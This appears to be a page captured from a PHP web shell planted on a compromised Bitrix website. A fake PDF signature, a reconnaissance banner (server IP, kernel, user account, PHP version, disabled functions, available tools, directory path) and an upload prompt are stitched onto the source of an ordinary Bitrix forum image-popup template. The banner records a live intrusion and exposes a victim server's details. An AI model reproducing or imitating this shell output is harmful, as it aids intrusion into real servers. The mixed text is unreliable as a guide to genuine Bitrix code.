%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.142.135.34 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/forum.interface/templates/popup_image/ |
Upload File : |
<?if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die(); // ************************* Input params*************************************************************** // ************************* BASE ********************************************************************** $arParams["URL"] = trim($arParams["~URL"]); if (empty($arParams["URL"])) return false; if ($arParams["CONVERT"] == "Y") $arParams["URL"] = htmlspecialcharsbx($arParams["URL"]); // *************************/BASE ********************************************************************** // ************************* ADDITIONAL **************************************************************** // True image size For example 1024x768 $img = array("width" => 0, "height" => 0); if (array_key_exists("IMG_WIDTH", $arParams)) $img = array("width" => intval($arParams["IMG_WIDTH"]), "height" => intval($arParams["IMG_HEIGHT"])); else if (array_key_exists("WIDTH", $arParams)) $img = array("width" => intval($arParams["WIDTH"]), "height" => intval($arParams["HEIGHT"])); $img = array_merge($img, array("~width" => $img["width"], "~height" => $img["height"])); // user size from image parameters [IMG URL='bla-bla' WIDTH=100 HEIGHT=100] to resize image on client $arParams["SIZE"] = (is_array($arParams["SIZE"]) ? array_change_key_case($arParams["SIZE"], CASE_LOWER) : null); if ($arParams["SIZE"] !== null && ($arParams["SIZE"]["width"] > 0 || $arParams["SIZE"]["height"] > 0)) { if ($arParams["SIZE"]["width"] > 0) $img["width"] = $arParams["SIZE"]["width"]; if ($arParams["SIZE"]["height"] > 0) $img["height"] = $arParams["SIZE"]["height"]; } // size to resize image on server $arParams["MAX_SIZE"] = (is_array($arParams["MAX_SIZE"]) ? array_change_key_case($arParams["MAX_SIZE"], CASE_LOWER) : null); // size to resize image on client in browser only. It's helpful for space economy $arParams["HTML_SIZE"] = ($arParams["HTML_SIZE"] > 0 ? array("width" => $arParams["HTML_SIZE"], "height" => $arParams["HTML_SIZE"]) : (is_array($arParams["HTML_SIZE"]) ? array_change_key_case($arParams["HTML_SIZE"], CASE_LOWER) : $arParams["MAX_SIZE"])); if ($arParams["HTML_SIZE"] !== null && $arParams["MAX_SIZE"] !== null) { $arParams["HTML_SIZE"]["width"] = min($arParams["HTML_SIZE"]["width"], $arParams["MAX_SIZE"]["width"]); $arParams["HTML_SIZE"]["height"] = min($arParams["HTML_SIZE"]["height"], $arParams["MAX_SIZE"]["height"]); } $arParams["FAMILY"] = trim($arParams["FAMILY"]); $arParams["FAMILY"] = mb_strtolower(empty($arParams["FAMILY"])? "forum" : $arParams["FAMILY"]); $arParams["FAMILY"] = preg_replace("/[^a-z]/is", "", $arParams["FAMILY"]); $arParams["RETURN"] = ($arParams["RETURN"] == "Y" ? "Y" : "N"); $arParams["MODE"] = trim($arParams["MODE"]); // *************************/ADDITIONAL **************************************************************** // *************************/Input params*************************************************************** $img["~src"] = $arParams["URL"]; $img["src_download"] = $arParams["URL"].(mb_strpos($arParams["URL"], '?') !== false ? '&' : '?')."action=download"; $img["src"] = $arParams["URL"].(mb_strpos($arParams["URL"], '?') !== false ? '&' : '?').($arParams["MAX_SIZE"] !== null ? http_build_query($arParams["MAX_SIZE"]) : ""); // HTML size $bNeedCreatePicture = false; $props = ($img["width"] > 0 ? 'width="'.$img["width"].'" ' : ''). ($img["height"] > 0 ? 'height="'.$img["height"].'" ' : ''); if ($arParams["HTML_SIZE"] !== null) { if ($arParams["HTML_SIZE"]["width"] > 0 && $arParams["HTML_SIZE"]["height"] > 0 && $img["width"] > 0 && $img["height"] > 0) { CFile::ScaleImage( $img["width"], $img["height"], $arParams["HTML_SIZE"], BX_RESIZE_IMAGE_PROPORTIONAL, $bNeedCreatePicture, $arSourceSize, $arDestinationSize); if ($bNeedCreatePicture) $props = 'width="'.$arDestinationSize["width"].'" height="'.$arDestinationSize["height"].'" '; } else { $style = array(); if ($arParams["HTML_SIZE"]["width"] > 0) $style[] = 'max-width:'.$arParams["HTML_SIZE"]["width"].'px;'; if ($arParams["HTML_SIZE"]["height"] > 0) $style[] = 'max-height:'.$arParams["HTML_SIZE"]["height"].'px;'; if (!empty($style)) $props = 'style="'.implode("", $style).'"'; } } if ($arParams['MODE'] == 'RSS') { $arParams["RETURN_DATA"] = <<<HTML <img src="{$img["src"]}" {$props} /> HTML; if ($bNeedCreatePicture) { $arParams["RETURN_DATA"] = <<<HTML <a href="{$img["~src"]}" target="_blank">{$arParams["RETURN_DATA"]}</a> HTML; } } elseif ($arParams['MODE'] == 'SHOW2IMAGES') { $arParams["RETURN_DATA"] = <<<HTML <img src="{$img["src"]}" {$props} data-bx-viewer="image" data-bx-src="{$img["~src"]}" data-bx-download="{$img["src_download"]}" data-bx-width="{$img["~width"]}" data-bx-height="{$img["~height"]}" data-bx-title="{$arParams["IMG_NAME"]}" data-bx-size="{$arParams["IMG_SIZE"]}" /> HTML; } else { CUtil::InitJSCore(); do { $id = "popup_".rand(); } while(ForumGetEntity($id) !== false); $arParams["RETURN_DATA"] = <<<HTML <img src="{$img["~src"]}" id="{$id}" border="0" {$props} data-bx-viewer="image" data-bx-src="{$img["~src"]}" data-bx-image="{$img["~src"]}" /> HTML; } $arParams["RETURN_DATA"] = str_replace(array("\n", "\t", " "), " ", $arParams["RETURN_DATA"]); if ($arParams["RETURN"] == "Y") $this->__component->arParams["RETURN_DATA"] = $arParams["RETURN_DATA"]; else echo $arParams["RETURN_DATA"]; ?>